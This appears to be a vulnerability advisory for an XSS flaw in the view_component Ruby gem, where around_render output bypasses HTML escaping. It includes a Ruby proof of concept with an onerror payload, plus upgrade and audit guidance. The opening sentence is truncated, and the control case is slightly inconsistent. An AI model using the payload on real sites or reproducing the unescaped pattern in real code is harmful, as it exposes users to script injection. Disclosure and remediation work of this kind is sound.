CVE-2026-54498: view_component around_render HTML-Safety Bypass XSS
A flaw in ViewComponent's around_render hook lets it return raw, unescaped HTML strings that bypass the safety checks applied to normal component output, allowing attacker-controlled data to reach the
The problem
ViewComponent::Base#around_render skips the __vc_maybe_escape_html boundary that protects normal #call return values. Any string returned directly from around_render, even one built from user-controlled data, is emitted verbatim without escaping.
The risk compounds in collection rendering. ViewComponent::Collection#render_in joins each component's output and unconditionally calls .html_safe on the result, converting raw unsafe strings into a trusted ActiveSupport::SafeBuffer that later escaping stages will not touch.
Proof of concept
A working proof-of-concept for CVE-2026-54498 in view_component, with the exact payload below.
# Minimal PoC derived from the advisory's published proof-of-concept.
# around_render bypasses __vc_maybe_escape_html; #call output is escaped, around_render output is not.
PAYLOAD = "<img src=x onerror=alert(1)>"
class UnsafeAroundComponent < ViewComponent::Base
def initialize(payload:) = @payload = payload
def call = "SAFE" # this return value IS escaped
def around_render = @payload # this return value is NOT escaped
end
class UnsafeAroundCollectionComponent < ViewComponent::Base
with_collection_parameter :payload
def initialize(payload:) = @payload = payload
def call = "SAFE"
def around_render = @payload
end
# Single component: raw string, not html_safe
around = UnsafeAroundComponent.new(payload: PAYLOAD).render_in(view_context)
# => "<img src=x onerror=alert(1)>" (around_render_raw=true, html_safe=false)
# Collection: raw string promoted to html_safe by .html_safe call on join
collection = UnsafeAroundCollectionComponent.with_collection([PAYLOAD]).render_in(view_context)
# => "<img src=x onerror=alert(1)>" (collection_raw=true, html_safe=true)
# Control case confirms the gap: #call return value IS escaped
normal = UnsafeCallComponent.new(payload: PAYLOAD).render_in(view_context)
# => "<img src=x onerror=alert(1)>" (normal_call_raw=false, html_safe=true)The root cause is an asymmetric HTML-safety boundary. Normal inline #call output travels through __vc_maybe_escape_html, which checks html_safe? and escapes raw strings before they reach the response. The around_render return value is used directly as the component render result, bypassing that check entirely (CWE-79).
The patch applies the same escaping logic to around_render return values and replaces the raw .join(...).html_safe call in Collection#render_in with safe_join, which escapes each item individually before concatenation. This closes the laundering path where per-item unsafe output was promoted to a trusted SafeBuffer.
The fix
Upgrade view_component to 4.12.0 (commit 48e5fd2d602344c7d33019fbc5c8b087e315bb78). The fix escapes unsafe around_render return values through the same __vc_maybe_escape_html boundary used for #call, and replaces .join(...).html_safe in Collection#render_in with safe_join so no unsafe string can be silently promoted to a trusted buffer.
If upgrade is not immediately possible, audit every around_render override in your codebase and ensure any returned string is either hard-coded or explicitly marked html_safe only after verified sanitization.
Related research
- high · 7.5CVE-2026-50276CVE-2026-50276: datadog (dd-trace-rb) W3C Baggage Header Denial of Service
- high · 7.5CVE-2026-45378CVE-2026-45378: decidim-verifications Unauthenticated Access to Signed Identity Document URLs
- high · 8.5CVE-2026-45414CVE-2026-45414: Decidim JWT Cross-Organization Authentication Bypass
- highCVE-2026-53727CVE-2026-53727: css_parser SSRF and Local File Disclosure via @import